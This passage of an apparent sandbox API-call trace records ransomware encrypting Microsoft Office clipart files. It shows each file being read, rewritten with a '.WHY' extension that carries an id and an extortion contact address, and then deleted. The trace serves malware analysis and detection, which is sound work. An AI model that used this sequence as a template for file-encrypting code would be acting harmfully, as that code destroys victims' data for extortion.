lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0235.010] GetLastError () returned 0x0 [0235.010] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x135b, lpOverlapped=0x0) returned 1 [0235.095] WriteFile (in: hFile=0x384, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0235.098] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0235.098] WriteFile (in: hFile=0x384, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0235.099] SetEndOfFile (hFile=0x384) returned 1 [0238.566] CloseHandle (hObject=0x384) returned 1 [0238.570] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.570] SetEndOfFile (hFile=0x354) returned 1 [0240.759] CloseHandle (hObject=0x354) returned 1 [0240.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0240.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0240.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.761] lstrlenW (lpString=".doc") returned 4 [0240.761] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.761] lstrlenW (lpString=".docx") returned 5 [0240.761] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.761] lstrlenW (lpString=".pdf") returned 4 [0240.761] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.761] lstrlenW (lpString=".xls") returned 4 [0240.762] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.762] lstrlenW (lpString=".xlsx") returned 5 [0240.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.762] lstrlenW (lpString=".ppt") returned 4 [0240.762] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.762] lstrlenW (lpString=".zip") returned 4 [0240.762] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.762] lstrlenW (lpString=".rar") returned 4 [0240.762] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.762] lstrlenW (lpString=".bz2") returned 4 [0240.762] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.762] lstrlenW (lpString=".7z") returned 3 [0240.762] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.762] lstrlenW (lpString=".dbf") returned 4 [0240.763] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.763] lstrlenW (lpString=".1cd") returned 4 [0240.763] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.763] lstrlenW (lpString=".jpg") returned 4 [0240.763] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.763] lstrlenW (lpString=".doc") returned 4 [0240.763] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.763] lstrlenW (lpString=".docx") returned 5 [0240.763] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.764] lstrlenW (lpString=".pdf") returned 4 [0240.764] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.764] lstrlenW (lpString=".xls") returned 4 [0240.764] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.764] lstrlenW (lpString=".xlsx") returned 5 [0240.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.764] lstrlenW (lpString=".ppt") returned 4 [0240.765] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.765] lstrlenW (lpString=".zip") returned 4 [0240.765] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.765] lstrlenW (lpString=".rar") returned 4 [0240.765] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.765] lstrlenW (lpString=".bz2") returned 4 [0240.765] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.765] lstrlenW (lpString=".7z") returned 3 [0240.765] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.765] lstrlenW (lpString=".dbf") returned 4 [0240.765] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.766] lstrlenW (lpString=".1cd") returned 4 [0240.766] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0240.766] lstrlenW (lpString=".jpg") returned 4 [0240.766] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.766] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0240.767] lstrlenW (lpString="AG00169_.GIF") returned 12 [0240.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0240.767] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=5375) returned 1 [0240.767] CloseHandle (hObject=0x354) returned 1 [0240.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0240.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0240.768] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.769] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0240.770] GetLastError () returned 0x0 [0240.770] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x14ff, lpOverlapped=0x0) returned 1 [0240.799] WriteFile (in: hFile=0x3b8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0240.864] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.864] WriteFile (in: hFile=0x3b8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.864] SetEndOfFile (hFile=0x3b8) returned 1 [0240.864] CloseHandle (hObject=0x3b8) returned 1 [0240.865] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.866] SetEndOfFile (hFile=0x354) returned 1 [0240.873] CloseHandle (hObject=0x354) returned 1 [0240.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0240.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0240.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.884] lstrlenW (lpString=".doc") returned 4 [0240.885] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.885] lstrlenW (lpString=".docx") returned 5 [0240.885] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.885] lstrlenW (lpString=".pdf") returned 4 [0240.885] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.885] lstrlenW (lpString=".xls") returned 4 [0240.885] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.885] lstrlenW (lpString=".xlsx") returned 5 [0240.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.885] lstrlenW (lpString=".ppt") returned 4 [0240.885] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.886] lstrlenW (lpString=".zip") returned 4 [0240.886] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.886] lstrlenW (lpString=".rar") returned 4 [0240.886] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.886] lstrlenW (lpString=".bz2") returned 4 [0240.886] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.886] lstrlenW (lpString=".7z") returned 3 [0240.886] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.886] lstrlenW (lpString=".dbf") returned 4 [0240.886] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.886] lstrlenW (lpString=".1cd") returned 4 [0240.886] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.887] lstrlenW (lpString=".jpg") returned 4 [0240.887] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.887] lstrlenW (lpString=".doc") returned 4 [0240.887] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.887] lstrlenW (lpString=".docx") returned 5 [0240.887] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.887] lstrlenW (lpString=".pdf") returned 4 [0240.887] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.887] lstrlenW (lpString=".xls") returned 4 [0240.888] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.888] lstrlenW (lpString=".xlsx") returned 5 [0240.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.888] lstrlenW (lpString=".ppt") returned 4 [0240.888] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.888] lstrlenW (lpString=".zip") returned 4 [0240.888] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.888] lstrlenW (lpString=".rar") returned 4 [0240.888] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.888] lstrlenW (lpString=".bz2") returned 4 [0240.888] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.888] lstrlenW (lpString=".7z") returned 3 [0240.888] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.888] lstrlenW (lpString=".dbf") returned 4 [0240.889] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.889] lstrlenW (lpString=".1cd") returned 4 [0240.889] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0240.890] lstrlenW (lpString=".jpg") returned 4 [0240.890] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.890] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0240.890] lstrlenW (lpString="AG00172_.GIF") returned 12 [0240.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0240.899] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=4390) returned 1 [0240.900] CloseHandle (hObject=0x354) returned 1 [0240.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0240.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0240.901] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.901] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0240.902] GetLastError () returned 0x0 [0240.902] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x1126, lpOverlapped=0x0) returned 1 [0241.250] WriteFile (in: hFile=0x3b8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0241.253] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.253] WriteFile (in: hFile=0x3b8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.253] SetEndOfFile (hFile=0x3b8) returned 1 [0241.253] CloseHandle (hObject=0x3b8) returned 1 [0241.255] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.255] SetEndOfFile (hFile=0x354) returned 1 [0241.261] CloseHandle (hObject=0x354) returned 1 [0241.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0241.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0242.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.159] lstrlenW (lpString=".doc") returned 4 [0242.159] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0242.159] lstrlenW (lpString=".docx") returned 5 [0242.159] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0242.159] lstrlenW (lpString=".pdf") returned 4 [0242.159] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0242.159] lstrlenW (lpString=".xls") returned 4 [0242.159] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0242.159] lstrlenW (lpString=".xlsx") returned 5 [0242.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0242.159] lstrlenW (lpString=".ppt") returned 4 [0242.159] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0242.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.159] lstrlenW (lpString=".zip") returned 4 [0242.159] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0242.160] lstrlenW (lpString=".rar") returned 4 [0242.160] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0242.160] lstrlenW (lpString=".bz2") returned 4 [0242.160] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0242.160] lstrlenW (lpString=".7z") returned 3 [0242.160] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.160] lstrlenW (lpString=".dbf") returned 4 [0242.160] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0242.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.160] lstrlenW (lpString=".1cd") returned 4 [0242.160] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.161] lstrlenW (lpString=".jpg") returned 4 [0242.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0242.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.161] lstrlenW (lpString=".doc") returned 4 [0242.161] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0242.161] lstrlenW (lpString=".docx") returned 5 [0242.161] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0242.161] lstrlenW (lpString=".pdf") returned 4 [0242.161] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0242.161] lstrlenW (lpString=".xls") returned 4 [0242.161] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0242.162] lstrlenW (lpString=".xlsx") returned 5 [0242.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0242.162] lstrlenW (lpString=".ppt") returned 4 [0242.162] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0242.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.162] lstrlenW (lpString=".zip") returned 4 [0242.162] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0242.162] lstrlenW (lpString=".rar") returned 4 [0242.162] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0242.162] lstrlenW (lpString=".bz2") returned 4 [0242.162] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0242.162] lstrlenW (lpString=".7z") returned 3 [0242.162] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.163] lstrlenW (lpString=".dbf") returned 4 [0242.163] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0242.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.163] lstrlenW (lpString=".1cd") returned 4 [0242.163] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0242.163] lstrlenW (lpString=".jpg") returned 4 [0242.163] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0242.163] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0242.164] lstrlenW (lpString="AN00010_.WMF") returned 12 [0242.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.202] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=3026) returned 1 [0242.202] CloseHandle (hObject=0x3b0) returned 1 [0242.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0242.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0242.271] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.271] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0242.272] GetLastError () returned 0x0 [0242.272] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0xbd2, lpOverlapped=0x0) returned 1 [0242.331] WriteFile (in: hFile=0x3b8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0242.334] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, 